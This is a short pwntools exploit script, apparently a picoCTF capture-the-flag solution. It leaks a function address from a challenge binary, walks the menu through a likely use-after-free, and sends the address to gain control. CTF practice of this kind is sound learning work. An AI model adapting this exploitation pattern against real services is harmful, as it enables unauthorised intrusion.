Files
2024-06-26 16:20:12 +02:00

45 lines
760 B
Python
Executable File

#!/usr/bin/env python3
from pwn import *
exe = ELF("./vuln_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("mercury.picoctf.net", 4504)
return r
def main():
r = conn()
r.recvuntil(b"(e)xit\n")
r.sendline(b"s")
r.recvuntil(b"...")
address = r.recvline().strip()
address = int(address, 16)
log.success("flag fun: {:x}".format(address))
r.recvuntil(b"(e)xit\n")
r.sendline(b"i")
r.recvuntil(b"?\n")
r.sendline(b"y")
r.recvuntil(b"(e)xit\n")
r.sendline(b"l")
r.recvuntil(b"ways:\n")
r.send(flat(address))
r.interactive()
if __name__ == "__main__":
main()